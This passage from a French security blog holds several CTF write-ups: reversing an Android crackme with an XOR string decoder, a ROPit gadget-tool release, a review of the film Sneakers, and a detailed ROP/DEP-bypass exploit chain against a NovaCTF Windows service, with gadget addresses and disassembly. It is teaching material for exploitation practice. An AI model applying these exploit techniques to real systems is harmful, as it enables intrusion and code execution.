  private static byte[] c = { 113, 120, 9 };
  private static byte[] d = { 93, 82, 88, 78, 83, 85, 88, 18, 79, 76, 89, 89, 95, 84, 18, 93, 95, 72, 85, 83, 82, 18, 110, 121, 127, 115, 123, 114, 117, 102, 121, 99, 111, 108, 121, 121, 127, 116 };
  private static byte[] e = { 111, 116, 125, 17, 13 };

  public static String a()
  {
    return a(a);
  }

  private static String a(byte[] paramArrayOfByte)
  {
    byte[] arrayOfByte = new byte[paramArrayOfByte.length];
    int i = 0;
    while (true)
    {
      int j = paramArrayOfByte.length;
      if (i >= j)
        return new String(arrayOfByte);
      int k = (byte)(paramArrayOfByte[i] ^ 0x3C);
      arrayOfByte[i] = k;
      i += 1;
    }
  }

  public static String b()
  {
    return a(b);
  }

  public static String c()
  {
    return a(c);
  }

  public static String d()
  {
    return a(d);
  }

  public static String e()
  {
    return a(e);
  }
}
Ici nous avons affaire à plusieurs chaînes de caractères obfusquée par un XORing avec une clé de 0x3C.

J'ai coder un rapide utilitaire pour me dé-obfusquer ces chaînes:
// author : m_101
// licence: beerware
// year   : 2011
// ctf    : ndh2011 prequals

#include <stdio.h>
#include <stdlib.h>

void decrypt(unsigned char *encrypted) {
    size_t idxEnc;
    int c;

    printf("Decrypted: '");
    for (idxEnc = 0; encrypted[idxEnc] != 0; idxEnc++) {
        c = encrypted[idxEnc] ^ 0x3c;
        printf("%c", c); 
    }
    printf("'\n");
}

int main (int argc, char *argv[]) {
    unsigned char a[] = {
        90, 5, 88, 88, 13, 13, 90, 90,
        10, 4, 9, 11, 93, 90, 11, 15,
        93, 95, 5, 93, 5, 8, 8, 88,
        90, 95, 9, 14, 90, 8, 13, 94,
        0
    };
    unsigned char b[] = { 91, 83, 83, 91, 80, 89, 99, 79, 88, 87 };
    unsigned char c[] = { 113, 120, 9 };
    unsigned char d[] = {
        93, 82, 88, 78, 83, 85, 88, 18,
        79, 76, 89, 89, 95, 84, 18, 93,
        95, 72, 85, 83, 82, 18, 110, 121,
        127, 115, 123, 114, 117, 102, 121, 99,
        111, 108, 121, 121, 127, 116,
        0
    };
    unsigned char e[] = { 111, 116, 125, 17, 13, 0 };

    decrypt(a);
    decrypt(b);
    decrypt(c);
    decrypt(d);
    decrypt(e);


    return 0;
}

Vous obtenez ceci:
$ ./decode
Decrypted: 'f9dd11ff6857af73ac9a944dfc52f41b'
Decrypted: 'google_sdk|'
Decrypted: 'MD5'
Decrypted: 'android.speech.action.RECOGNIZE_SPEECH'
Decrypted: 'SHA-1'

On trouve un hash MD5, tiens tiens ...
Une petite recherche google nous donne ceci:
md5(salope) = f9dd11ff6857af73ac9a944dfc52f41b

Donc au final, l'application va faire un hash sha1 du mot qu'on prononce et l'afficher si celui-ci est correct.
Je n'ai pas réussi à l'obtenir par ce biais, mais nous savons que c'est un sha1.
$ printf "salope" | openssl dgst -sha1
913beccad686975f8c686d9b3b1ee6bb97c22d6f

Et voilà, done :).

J'espère que ce rapide tour d'horizon du reversing Android vous a plut.
J'ai mis plus de doc en lien si vous voulez approfondir ;).

Je n'ai pas encore fini de reverser le RCE300 par contre, donc l'article de reversing NDS va attendre un peu.

Cheers,

m_101

- ReverseMe: RCE200
- Tool: dex2jar
- Tool: apktool
- Doc: DalvikVM
- Doc: dalvik opcodes
- Doc: Reversing Android par virtualabs
- Doc: Primer on Android OS Reversing by ARTeam

Prequals NDH2011

Hello!

Ce week-end s'est déroulé les prequals de la NDH2011 (de Vendredi soir minuit à Dimanche soir minuit).
Les challenges comprenaient les catégories suivantes: crypto, web, reversing et forensic.
A notre grande surprise, il n'y avait pas d'exploitation comme à notre habitude, nous avons donc dû nous rabattre sur d'autres joix binaires.

Voici donc les différentes épreuves auquelles nous avons eu droit.

Crypto:
crypto 100: Un cryptext
crypto 200: On avait une image JPG cryptée et un code de génération de password (fallait bruteforcer)
crypto 300: Un soft python avec un échange de clé entre client et serveur, il faut pouvoir récupérer la clé

Forensic
forensic 100: Analyse d'un dump de mémoire dynamique
forensic 200: Cracking d'une base Active Directory NTDS.DIT (avec le system qui va bien)
forensic 300: Analyse d'un raw dump contenant potentiellement des partitions NTFS ou exFAT ou autre

Web: Aucune idée, je n'y ai pas touché du tout

Reversing
rce 100: Programme Windows à déplomber
rce 200: Application Android à déplomber
rce 300: Application NDS à déplomber

C'était en somme toute des prequals assez sympa, à refaire :).
Bravo à la team de sysdream pour l'organisation de leur premier prequals ^^.



J'écrirais quelques write-ups dans les articles suivants.

m_101

dimanche 13 mars 2011

[Tool] ROPit v0.1 alpha 1

[UPDATE: 14/03/2011]:
- Mise en place d'un GIT
- Ajout d'explications pour l'installation

Salut les gens!

Mon dernier article commence déjà à remonter :).

Introduction

Aujourd'hui j'ai le plaisir de vous présenter un tool de ma conception.
Il est encore extremement buggué, pas pour rien que je considère ça comme une alpha ^^.
C'est un tool de ropping tout ce qu'il y a de plus classique.

So let's ROPit!

Ce tool va juste construire une liste de gadgets à partir d'un exécutable PE ou d'un fichier raw (assemblé directement avec nasm par exemple).

Il génère un peu plus de gadgets que pvefindaddr, à voir si c'est utile.

La génération des gadgets se déroule en plusieurs étapes:
- recherches de toutes les instructions "utiles" avec un algorithme itératif de backtracking de 32 instructions en arrière maximum
- construction des gadgets avec les instructions trouvées
Les gadgets sont limités à 8 instructions volontairement.

J'ai codé ce tool pour la simple raison que je trouvais les tools disponibles assez lents vu que codés en python (ROPme, pvefindaddr et DEPlib). Et puis c'est assez marrant à coder :).

Par ailleurs, si quelqu'un a une bibliothèque de SAT/SMT solver, ça pourrait être utile ;).

Installation

Pour compiler et installer le tool vous aurez besoin des dépendances suivantes:
sudo apt-get install libdisasm-dev libpcre3-dev libtool

A partir du repository GIT:
La première fois:
git clone https://github.com/m101/ropit
cd ropit
git submodule init
git submodule update --recursive
make

Les fois suivantes:
cd ropit
git pull
git submodule update --recursive
make

Bugs connus

FIXED (GIT): Le tool ne génère aucuns gadgets pour un exécutable trop gros. En effet, la gestion mémoire n'est pas encore au top, je voulais séparer la logique de l'affichage mais ça semble assez compromis.


Testé uniquement sur architecture 64 bits pour l'instant, je testerais sur 32 bits une fois les fonctions de bases implémentées correctement.

Le tool crash lorsqu'on essaie de chercher des gadgets dans un fichier ELF 32 bits sur une architecture 64 bits (fonctionne parfaitement sous architecture 32 bits).

La version 0.1 alpha 2 sortira un peu plus tard, le temps que j'implémente les différents formats de fichiers visés et que je teste sous 32 bits :).

Si jamais vous trouvez un crash ou un bug d'une quelconque nature, vous pouvez toujours contribuer en soumettant des rapports de crashs comme décrit ici: Debugging Program Crash.

Conclusion

Bon ok cool on a des tools de ropping ... mais vous les trouvez pas trop limités? :)
Si vous voulez contribuer, vous savez où me joindre :).

Cheers,

m_101

- link: ROPit v0.1 alpha 1
- repos GIT: https://github.com/m101/ropit

mercredi 2 mars 2011

[Film] Sneakers

Bonjour,

Pour changer un peu des posts techniques, une petite review d'un film qui m'a bien surpris malgré son relatif age: Sneakers (qui est sorti en 1992). Il est peu cité à contrario des films "Hackers", Cybertraque ou Antitrust.
Ce qui m'intéresse avant tout est bien entendu les détails qui font que le film peut être considéré comme un film de "hackers" ou autres passionnés de sécurités les plus diverses (physique, humaine, ordinateurs, etc).

Histoire



C'est l'histoire d'un physical pentester du nom de Martin Bishop/Brice (Robert Redford) qui se voit entraîné dans une spirale infernale d'espionnage, de contre-espionnage, de trahison et bien sûr d'ordinateurs et cryptographie.

De par les capacitées de son équipe à pouvoir s'introduire dans les batiments, il se voit offrir une proposition de job par la "NSA". Le but est de récupérer un mystérieux boitier noir.

Je ne vous en dis pas plus au risque de spoil le film ;).

Déroulement du film

Le film débute par une scène où on voit le héros pirater des comptes bancaires avec son pote, la partie hacking se résume à faire un appel téléphonique rien de plus, rien de moins.
Aucune surprise à ce niveau, il fallait pas s'attendre à plus.

A la suite de leurs piratages, son ami se fait interpellé tandis que lui part libre comme le vent.

Par contre, au fur et à mesure du déroulement du film, une bonne part est mise au physical pentesting.
Certaines techniques étaient/sont réelles.

Les techniques

Voilà les choses que j'ai spotté:
1 - Trashing: récupération d'informations dans la poubelle d'autrui
2 - Vidéosurveillance: plaque d'immatriculation, allées et venues, bureaux de responsables, etc
3 - Sound analysis: A partir de son, déterminer la localisation et/ou l'utilité des pièces
4 - Voice recognition bypass: création de phrases en extrayant des mots de conversations avec la cible
5 - Hijack du système de vidéo surveillance
6 - Image analysis pour choper le password de quelqu'un
7 - Motion detector bypass
8 - Proxyfying: chaining de plusieurs proxys (par contre voir le tracing en temps réel euh ... non)
9 - Des bases en social engineering: fake advert (mail crafté ou autre)
10 - Modem remote log in
11 - Diversion: se faire passer pour quelqu'un d'autre pour rentrer dans un immeuble

Pros

- Techniques de physical pentesting
- Bien rythmé
- Une entrevue du danger de systèmes non sécurisés

Cons

- Histoire (presque) bidon

Conclusion

Mine de rien, le meilleur film de physical pentesting que j'ai vu jusqu'à présent.
Dans l'ensemble le film est plutôt bon, de quoi se détendre tout en restant un peu dans son domaine ;).

Have fun,

m_101

- Lien: Sneakers on IMDB

mercredi 9 février 2011

[Exploitation] NovaCTF January 2011: ROPPING

Bonjour,

Aujourd'hui on va attaquer le challenge du NovaCTF de Janvier de manière différente.
La dernière fois nous avons fais usage d'un stack pivot, egg hunter et payload ... mais le problème est que tout celà s'exécute sur la pile. En cas de DEP ça ne marcherait pas.
Nous allons donc remédier à celà, par contre on perd le bypass ASLR :( (si quelqu'un a une idée pour ASLR+DEP bypass sur ce challenge, je serais intéressé :)).

Pré-requis

Avant de commencer, je vais pour une fois donner les pré-requis nécessaire à la bonne compréhension de l'article suivant.
Tout d'abord vous devez être à l'aise en exploitation de stack based buffer overflow.
Ensuite un minimum de connaissances en ASMx86, Windows et sockets est recommendée. En effet, une compréhension de la partie vulnérable est essentielle car on fait usage de ces connaissances pour rediriger le flux d'exécution à notre bon vouloir.
On va utiliser Immunity Debugger avec le plugin pvefindaddr, le tout sous Windows XP SP3 English.

ROP : Return Oriented Programming?

Le ropping est une technique de re-utilisation de code au même titre que ret2lib, ret2esp. Elle est utilisé afin de bypasser le DEP sans code ou pour rendre l'exécution de code possible. Celà consiste à chaîner plusieurs séquences d'instructions terminant par RET. On appelle ces séquences des gadgets, un gadget effectue une action bien précise comme une addition ou autre.

L'avantage d'une telle technique c'est qu'elle fait usage de zone exécutable et donc bypasse le DEP sans problème. L'inconvénient majeur est qu'on doit hard coder pas mal d'addresses, on doit connaître ces addresses d'avance et donc en cas d'ASLR ça devient déjà plus difficile. L'une des méthodes utilisées est de travailler avec des offsets, en effet, avec l'ASLR, l'address space layout change mais pas les offsets entre chaque éléments.

Préparation

On a besoin de créer une liste de gadgets afin de pouvoir choisir dans cette liste et créer notre ROP.

Immunity Debugger est le debugger utilisé ici pour effectuer celà.
En effet, il intègre la DEPlib et le plugin de corelanc0d3r répond entièrement à nos besoins également.


Let's ROP it!

Bon je vais passer la phase de triggering vu qu'on l'a déjà vu dans mon article précédent, on va se concentrer sur l'exploitation à proprement parler.

L'exploitation va se dérouler en plusieurs phase:
- stage 1: mise en place d'un environnement propice à l'exécution de code
- stage 2: exécution de code
C'est une attaque multi-stage plutôt que one-stage.

Afin d'y arriver, il faut d'abord "pivoter" le stack pointer afin qu'il pointe sur une zone qu'on contrôle.

First stage ROP stack

Revoyons le code de la fonction vulnérable si vous voulez bien :).
.text:00401000 vuln_function   proc near               ; CODE XREF: main+2CC p
.text:00401000
.text:00401000 local_buf       = byte ptr -100h
.text:00401000 recv_buf        = dword ptr  8
.text:00401000
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 sub     esp, 100h
.text:00401009                 mov     eax, [ebp+recv_buf]
.text:0040100C                 push    eax             ; char *
.text:0040100D                 lea     ecx, [ebp+local_buf]
.text:00401013                 push    ecx             ; char *
.text:00401014                 call    _strcpy
.text:00401019                 add     esp, 8
.text:0040101C                 mov     esp, ebp
.text:0040101E                 pop     ebp
.text:0040101F                 retn
.text:0040101F vuln_function   endp
Avant l'appel du strcpy():
EAX pointe vers l'addresse du buffer que recv() utilise afin de recevoir ce qu'on envoie.
ECX contient l'addresse du buffer local à overflow.
Après l'appel du strcpy():
EAX pointe vers notre buffer local.
ECX pointe vers recv_buf+260 (260 = longueur de la chaîne qu'on envoie).

Donc pour pivoter la stack, il suffit de trouver un pointeur vers une instruction de type:
xchg eax, esp
mov eax, ecx
xchg eax, ecx
mov eax, esp
push eax; pop esp
push ecx; pop eax

Ca nous permettra de pivoter la stack et directement tomber après le contenu de local_buf dans recv_buf.

Pour trouver des pointeurs vers des gadgets avec pvefindaddr, il suffit d'utiliser la commande suivante:
!pvefindaddr rop options
Le manuel:
imm.log("* rop [-m ] [-f ] [-n] [-o] [-i] [-r max_ret_value] [-s] [-d] [-c ]")
 imm.log("                               (List possible ROP gadgets from non-ASLR protected modules. You can optionally filter)")
 imm.log("                                Option -n : don't show pointers that contain null bytes")
 imm.log("                                Option -o : don't show pointers from modules in the Windows folder")
 imm.log("                                Option -i : don't show pointers from modules that have the Fixup flag set")
 imm.log("                                Parameter -r allows you to specify the maximum RET offset to look for. Default value : 32")
 imm.log("                                Warning : if you don't specify a module and/or a lower RET offset, the process can take a very long time to complete")
 imm.log("                                The -s option will split the rop output into a dedicated file per module. The filenames will include")
 imm.log("                                modulename, version, OS type and OS version")
 imm.log("                                Option -d will search deeper (longer) and might find possibly interesting gadgets")
 imm.log("                                Option -c + instruction (no quotes, spaces are allowed) will allow you to look for gadgets ending with this instruction")
 imm.log("                                as opposed to looking for gadgets ending with RET")

On va commencer par pivoter ESP vers le début de notre buffer local, j'ai trouver ce pointeur:
# 0x77C3A891 : EAX : # XCHG EAX,ESP # RETN - msvcrt.dll - **
A partir de là, on veut "remonter" vers notre recv_buffer, la raison en est simple: recv() copie TOUT et ne s'arrête donc pas aux 0 comme strcpy() donc aucunes grandes contraintes. Je fais celà avec le pointeur suivant:
# 0x7C902B30 : # MOV EAX,ECX # BSWAP EAX # RETN - ntdll.dll - **
BSWAP change l'ordre de nos bits entre little endian et big endian, il faut donc l'appeller encore pour fixer EAX.
# 0x7C902B32 : # BSWAP EAX # RETN - ntdll.dll - **
Et la on peut enfin pivoter le stack pointer :).
# 0x77C3A891 : EAX : # XCHG EAX,ESP # RETN - msvcrt.dll - **

Donc notre pile pour l'instant ressemble à ça:
---------------------------------
recv_buf        |   0x7C902B30  |   mov eax, ecx
---------------------------------
recv_buf+4      |   0x7C902B32  |   fix eax (big endian -> little endian)
---------------------------------
recv_buf+8      |   0x77C3A891  |   mov esp, eax    // on est dans recv_buffer
---------------------------------
recv_buf+12     |   JUNK        |
                |     ...       |
                |   JUNK        |
---------------------------------
recv_buf+260    |   0x77C3A891  |   mov esp, eax    // on est dans local_buffer
---------------------------------
recv_buf+264    |   0x00000000  | // pour finir la copie de strcpy()
---------------------------------

Maintenant on doit allouer de la mémoire exécutable.
De ce que j'ai pu remarquer de mes différents tests et en regardant la memory map avec Alt+M:

On remarque que la heap n'est pas exécutable (36xxx dans ce cas dans mes tests).

Il faut donc créer une nouvelle heap avec HeapCreate() et allouer de la mémoire à partir de celle-ci. On retrouve un appel à celui-ci d'ailleurs:
.text:00403D89 sub_403D89      proc near               ; CODE XREF: start:loc_4016DD p
.text:00403D89                 push    0               ; dwMaximumSize
.text:00403D8B                 push    1000h           ; dwInitialSize
.text:00403D90                 push    0               ; flOptions
.text:00403D92                 call    ds:HeapCreate
.text:00403D98                 xor     ecx, ecx
.text:00403D9A                 test    eax, eax
.text:00403D9C                 setnz   cl
.text:00403D9F                 mov     hHeap, eax
.text:00403DA4                 mov     eax, ecx
.text:00403DA6                 retn
.text:00403DA6 sub_403D89      endp
La heap créée est référencé dans une variable globale comme on peut le voir. On contrôle la pile entièrement et aucunes contraintes niveau caractères utilisés donc voilà ce que ça donne:
---------------------------------
recv_buf+268    |   0x00403D92  |   call ds:HeapCreate
---------------------------------
recv_buf+272    |   0x00004000  |   flOptions = HEAP_CREATE_ENABLE_EXECUTE
---------------------------------
recv_buf+276    |   0x00001000  |   dwInitialSize = 0x1000
---------------------------------
recv_buf+280    |   0x00001000  |   # dwMaximumSize = 0 = depend on available memory
---------------------------------

Maintenant l'allocation de notre mémoire:
.text:00405DED                 push    esi             ; dwBytes
.text:00405DEE                 push    8               ; dwFlags
.text:00405DF0                 push    hHeap           ; hHeap
.text:00405DF6                 call    ds:HeapAlloc
.text:00405DFC                 test    eax, eax
.text:00405DFE                 jnz     short loc_405E32

.text:00405E32 loc_405E32:                             ; CODE XREF: sub_405DB3+4B j
.text:00405E32                                         ; sub_405DB3+70 j ...
.text:00405E32                 pop     esi
.text:00405E33                 pop     ebp
.text:00405E34                 retn
.text:00405E34 sub_405DB3      endp
On voit qu'il faut qu'on définisse notre ESI first ensuite qu'on retourne sur 0x00405DED. Vous pourrez remarquer que hHeap est utilisé directement après, ça nous facilite beaucoup les choses. Il faut absolument que la mémoire soit allouée, l'exécution de code sera compromise mais généralement on a notre mémoire qui est allouée ;).
Pour ESI, j'ai trouvé le pointeur suivant:
# 0x7C87283A : # POP ESI # RETN [Module : kernel32.dll] **
Et n'oublions pas de prévoir du junk pour nos pop esi; pop ebp
Notre ROP stack donne ainsi celà:
---------------------------------
recv_buf+284    |   0x7C87283A  |   pop esi
---------------------------------
recv_buf+288    |   0x00004000  |   esi value to pop
---------------------------------
recv_buf+292    |   0x00405DED  |   call ds:HeapAlloc
---------------------------------
recv_buf+296    |       JUNK    |   junk pour pop esi
---------------------------------
recv_buf+300    |       JUNK    |   junk pour pop ebp
---------------------------------

On a presque fini le first stage :).

Dans ce challenge, le serveur reçoit de la data par le biais de la routine suivante:
.text:004012A6                 push    0               ; flags
.text:004012A8                 push    800h            ; len
.text:004012AD                 lea     ecx, [ebp+buf]
.text:004012B3                 push    ecx             ; buf
.text:004012B4                 mov     edx, [ebp+client_sockfd]
.text:004012B7                 push    edx             ; s
.text:004012B8                 call    ds:recv
Le but serait donc de faire pointer EBP vers notre heap nouvellement allouée afin qu'il réceptionne notre payload.
Il faut prendre en compte l'offset de buf (-0x9A0) afin d'éviter de corrompre la heap et rendre notre exploit moins fiable par la suite. Pour celà, il faut additionner +0x9A0 au moins à EAX (qui contient notre mémoire allouée):
# 0x77EBB583 : {POP} # ADD EAX,6FF # POP ESI # POP EBP # RETN 4 [Module : RPCRT4.dll] **
Ce qui donne donc:
---------------------------------
recv_buf+304    |   0x77ebb583  |   add eax, 0x6ff
---------------------------------
recv_buf+308    |       JUNK    |   junk pour pop esi
---------------------------------
recv_buf+312    |       JUNK    |   junk pour pop ebp
---------------------------------
recv_buf+316    |   0x77ebb583  |   add eax, 0x6ff
---------------------------------
recv_buf+320    |       JUNK    |   junk pour ret 4
---------------------------------
recv_buf+324    |       JUNK    |   junk pour pop esi
---------------------------------
recv_buf+328    |       JUNK    |   junk pour pop ebp
---------------------------------

On set EBP à EAX:
# 0x77EF022c : # PUSH EAX # POP EBP # RETN 4 [Module : RPCRT4.dll] **
Et aussi on doit retourner sur recv() mais le problème est que sockfd se trouve trop loin sur la pile pour pouvoir le récupérer. On met donc en place une nouvelle socket entièrement en retournant tout au début de la routine pour la socket. Nous n'avons pas besoin d'appeler WSAStartup() vu qu'aucuns appel à WSACleanup() n'a été fait. On va donc retourner juste après en 0x004010AF où on a les instructions suivantes:
- mise en place de sin_addr_in
- getaddrinfo()
- socket()
- bind()
- listen()
- accept()
- recv()
- vuln_function()
- send()
- exit()
Je vous passe les détails, je suppose que vous connaissez les sockets un minimum ;).
En effet, c'est possible car après le accept(), la socket bindée au port 1337 est fermé et est donc re-disponible.
.text:00401257                 push    0               ; addrlen
.text:00401259                 push    0               ; addr
.text:0040125B                 mov     ecx, [ebp+server_sockfd]
.text:0040125E                 push    ecx             ; s
.text:0040125F                 call    ds:accept
.text:00401265                 mov     [ebp+client_sockfd], eax
.text:00401268                 cmp     [ebp+client_sockfd], 0FFFFFFFFh
.text:0040126C                 jnz     short loc_40129C

.text:0040129C loc_40129C:                             ; CODE XREF: main+24C j
.text:0040129C                 mov     eax, [ebp+server_sockfd]
.text:0040129F                 push    eax             ; s
.text:004012A0                 call    ds:closesocket
Au final, nous avons celà:

---------------------------------
recv_buf+332    |   0x77ef022c  |   mov ebp, eax
---------------------------------
recv_buf+336    |       JUNK    |   junk pour pop ebp
---------------------------------
recv_buf+340    |   0x004010AF  |   recv()
---------------------------------
recv_buf+344    |       JUNK    |   junk pour pop ebp
---------------------------------

Et voilà pour le premier stage, soit 348 octets de rop stack.

Passons maintenant au second stage où on va recevoir et exécuter notre payload.

Second stage ROP stack

Là ça va être beaucoup plus rapide:
- On va pivoter la stack pour retomber à recv_buf+260
- On exécute notre code

On obtient la rop stack suivante:
---------------------------------
recv_buf        |   0x7C902B30  |   mov eax, ecx
---------------------------------
recv_buf+4      |   0x7C902B32  |   fix eax (big endian -> little endian)
---------------------------------
recv_buf+8      |   0x77C3A613  |   jmp eax (on exécute notre code)
---------------------------------
recv_buf+12     |   JUNK        |
                |     ...       |
                |   JUNK        |
---------------------------------
recv_buf+260    |   0x77C3A891  |   mov esp, eax    // on est dans local_buffer
---------------------------------
recv_buf+264    |   0x00000000  | // pour finir la copie de strcpy()
---------------------------------
                |               |
recv_buf+268    |    PAYLOAD    |
                |               |
---------------------------------

Et voilà on finit par exécuter notre code dans un environnement DEP.
Par contre, vu le nombre de pointeurs hard codés utilisés, on perd l'ASLR bypass, si vous trouvez un moyen d'avoir DEP+ASLR bypass ça m'intéresse :). Ou si vous vous êtes pris d'une autre manière pour le DEP bypass, ça m'intéresse également ;).

J'espère que ça vous a plu.

Have phun,

m_101

- Link: Archive avec le binaire exploité (rev3)
- Exploit: Module metasploit

jeudi 3 février 2011

[Exploitation] NovaCTF January 2011

Bonjour,

Ca fait un moment que le NovaCTF est terminé et que les solutions devraient pleuvoirs.
Vu que ce n'est pas le cas, je vais en écrire un write up plus ou moins détaillé.

Tout d'abord, la chose qui a pu être constaté lors de ce challenge est un manque de vérification des binaires fournis aux participants de ce challenge. Il y a eus 3 binaires différents durant celui-ci.

Les binaires avaient les caractéristiques suivantes:
- binaire 1 : GS activé + Visual Studio Debug
- binaire 2 : GS activé
- binaire 3 : GS désactivé + quelques modifications mineures du code
Comme vous pouvez le remarquer, le flag GS était activé de base, ce qui rendait l'exploitation impossible sans "tricher" un peu.

J'écrirais donc l'exploitation du binaire 3 et je fournirais le paper que j'ai écris pour le binaire 1 (modder).

Analyse

Tout d'abord, on nous dit qu'on doit exploiter un service Windows, il y a donc des chances que ça soit un escalation privilege en local ou un remote.

On part donc à la recherche des classiques fonctions strcpy() et recv().
Pas de chances pour la première fonction, et joie, on localise rapidement la deuxième avec un cross referencing.

Celà nous permet de trouver la fonction principale, la fonction vulnérable et de trouver strcpy() de la même manière.
En effet, celle-ci est incluse statiquement et n'est pas reconnue par le FLIRT engine d'IDA Pro.

La fonction main:
.text:00401020 main            proc near               ; CODE XREF: start-5B p
.text:00401020
.text:00401020 pAddrInfo       = dword ptr -11CCh
.text:00401020 pHints          = ADDRINFOA ptr -11C8h
.text:00401020 var_11A8        = byte ptr -11A8h
.text:00401020 var_11A7        = byte ptr -11A7h
.text:00401020 var_9A8         = dword ptr -9A8h
.text:00401020 len             = dword ptr -9A4h
.text:00401020 buf             = byte ptr -9A0h
.text:00401020 var_19C         = dword ptr -19Ch
.text:00401020 WSAData         = WSAData ptr -198h
.text:00401020 s               = dword ptr -8
.text:00401020 var_4           = dword ptr -4
.text:00401020
.text:00401020                 push    ebp
.text:00401021                 mov     ebp, esp
.text:00401023                 mov     eax, 11CCh
.text:00401028                 call    sub_407BA0
.text:0040102D                 mov     [ebp+s], 0FFFFFFFFh
.text:00401034                 mov     [ebp+var_4], 0FFFFFFFFh
.text:0040103B                 mov     [ebp+pAddrInfo], 0
.text:00401045                 mov     [ebp+var_19C], 800h
.text:0040104F                 mov     al, ds:byte_40A9E0
.text:00401054                 mov     [ebp+var_11A8], al
.text:0040105A                 push    7FFh
.text:0040105F                 push    0
.text:00401061                 lea     ecx, [ebp+var_11A7]
.text:00401067                 push    ecx
.text:00401068                 call    sub_4015D0
.text:0040106D                 add     esp, 0Ch
.text:00401070                 lea     edx, [ebp+WSAData]
.text:00401076                 push    edx             ; lpWSAData
.text:00401077                 push    202h            ; wVersionRequested
.text:0040107C                 call    ds:WSAStartup
.text:00401082                 mov     [ebp+len], eax
.text:00401088                 cmp     [ebp+len], 0
.text:0040108F                 jz      short loc_4010AF
.text:00401091                 mov     eax, [ebp+len]
.text:00401097                 push    eax
.text:00401098                 push    offset aWsastartupFail ; "WSAStartup failed with error: %d\n"
.text:0040109D                 call    print_msg
.text:004010A2                 add     esp, 8
.text:004010A5                 mov     eax, 1
.text:004010AA                 jmp     loc_401409
.text:004010AF ; ---------------------------------------------------------------------------
.text:004010AF
.text:004010AF loc_4010AF:                             ; CODE XREF: main+6F j
.text:004010AF                 push    20h
.text:004010B1                 push    0
.text:004010B3                 lea     ecx, [ebp+pHints]
.text:004010B9                 push    ecx
.text:004010BA                 call    sub_4015D0
.text:004010BF                 add     esp, 0Ch
.text:004010C2                 mov     [ebp+pHints.ai_family], 2
.text:004010CC                 mov     [ebp+pHints.ai_socktype], 1
.text:004010D6                 mov     [ebp+pHints.ai_protocol], 6
.text:004010E0                 mov     [ebp+pHints.ai_flags], 1
.text:004010EA                 lea     edx, [ebp+pAddrInfo]
.text:004010F0                 push    edx             ; ppResult
.text:004010F1                 lea     eax, [ebp+pHints]
.text:004010F7                 push    eax             ; pHints
.text:004010F8                 push    offset pServiceName ; "1337"
.text:004010FD                 push    0               ; pNodeName
.text:004010FF                 call    ds:getaddrinfo
.text:00401105                 mov     [ebp+len], eax
.text:0040110B                 cmp     [ebp+len], 0
.text:00401112                 jz      short loc_401138
.text:00401114                 mov     ecx, [ebp+len]
.text:0040111A                 push    ecx
.text:0040111B                 push    offset aGetaddrinfoFai ; "getaddrinfo failed with error: %d\n"
.text:00401120                 call    print_msg
.text:00401125                 add     esp, 8
.text:00401128                 call    ds:WSACleanup
.text:0040112E                 mov     eax, 1
.text:00401133                 jmp     loc_401409
.text:00401138 ; ---------------------------------------------------------------------------
.text:00401138
.text:00401138 loc_401138:                             ; CODE XREF: main+F2 j
.text:00401138                 mov     edx, [ebp+pAddrInfo]
.text:0040113E                 mov     eax, [edx+0Ch]
.text:00401141                 push    eax             ; protocol
.text:00401142                 mov     ecx, [ebp+pAddrInfo]
.text:00401148                 mov     edx, [ecx+8]
.text:0040114B                 push    edx             ; type
.text:0040114C                 mov     eax, [ebp+pAddrInfo]
.text:00401152                 mov     ecx, [eax+4]
.text:00401155                 push    ecx             ; af
.text:00401156                 call    ds:socket
.text:0040115C                 mov     [ebp+s], eax
.text:0040115F                 cmp     [ebp+s], 0FFFFFFFFh
.text:00401163                 jnz     short loc_401196
.text:00401165                 call    ds:WSAGetLastError
.text:0040116B                 push    eax
.text:0040116C                 push    offset aSocketFailedWi ; "socket failed with error: %ld\n"
.text:00401171                 call    print_msg
.text:00401176                 add     esp, 8
.text:00401179                 mov     edx, [ebp+pAddrInfo]
.text:0040117F                 push    edx             ; pAddrInfo
.text:00401180                 call    ds:freeaddrinfo
.text:00401186                 call    ds:WSACleanup
.text:0040118C                 mov     eax, 1
.text:00401191                 jmp     loc_401409
.text:00401196 ; ---------------------------------------------------------------------------
.text:00401196
.text:00401196 loc_401196:                             ; CODE XREF: main+143 j
.text:00401196                 mov     eax, [ebp+pAddrInfo]
.text:0040119C                 mov     ecx, [eax+10h]
.text:0040119F                 push    ecx             ; namelen
.text:004011A0                 mov     edx, [ebp+pAddrInfo]
.text:004011A6                 mov     eax, [edx+18h]
.text:004011A9                 push    eax             ; name
.text:004011AA                 mov     ecx, [ebp+s]
.text:004011AD                 push    ecx             ; s
.text:004011AE                 call    ds:bind
.text:004011B4                 mov     [ebp+len], eax
.text:004011BA                 cmp     [ebp+len], 0FFFFFFFFh
.text:004011C1                 jnz     short loc_4011FE
.text:004011C3                 call    ds:WSAGetLastError
.text:004011C9                 push    eax
.text:004011CA                 push    offset aBindFailedWith ; "bind failed with error: %d\n"
.text:004011CF                 call    print_msg
.text:004011D4                 add     esp, 8
.text:004011D7                 mov     edx, [ebp+pAddrInfo]
.text:004011DD                 push    edx             ; pAddrInfo
.text:004011DE                 call    ds:freeaddrinfo
.text:004011E4                 mov     eax, [ebp+s]
.text:004011E7                 push    eax             ; s
.text:004011E8                 call    ds:closesocket
.text:004011EE                 call    ds:WSACleanup
.text:004011F4                 mov     eax, 1
.text:004011F9                 jmp     loc_401409
.text:004011FE ; ---------------------------------------------------------------------------
.text:004011FE
.text:004011FE loc_4011FE:                             ; CODE XREF: main+1A1 j
.text:004011FE                 mov     ecx, [ebp+pAddrInfo]
.text:00401204                 push    ecx             ; pAddrInfo
.text:00401205                 call    ds:freeaddrinfo
.text:0040120B                 push    7FFFFFFFh       ; backlog
.text:00401210                 mov     edx, [ebp+s]
.text:00401213                 push    edx             ; s
.text:00401214                 call    ds:listen
.text:0040121A                 mov     [ebp+len], eax
.text:00401220                 cmp     [ebp+len], 0FFFFFFFFh
.text:00401227                 jnz     short loc_401257
.text:00401229                 call    ds:WSAGetLastError
.text:0040122F                 push    eax
.text:00401230                 push    offset aListenFailedWi ; "listen failed with error: %d\n"
.text:00401235                 call    print_msg
.text:0040123A                 add     esp, 8
.text:0040123D                 mov     eax, [ebp+s]
.text:00401240                 push    eax             ; s
.text:00401241                 call    ds:closesocket
.text:00401247                 call    ds:WSACleanup
.text:0040124D                 mov     eax, 1
.text:00401252                 jmp     loc_401409
.text:00401257 ; ---------------------------------------------------------------------------
.text:00401257
.text:00401257 loc_401257:                             ; CODE XREF: main+207 j
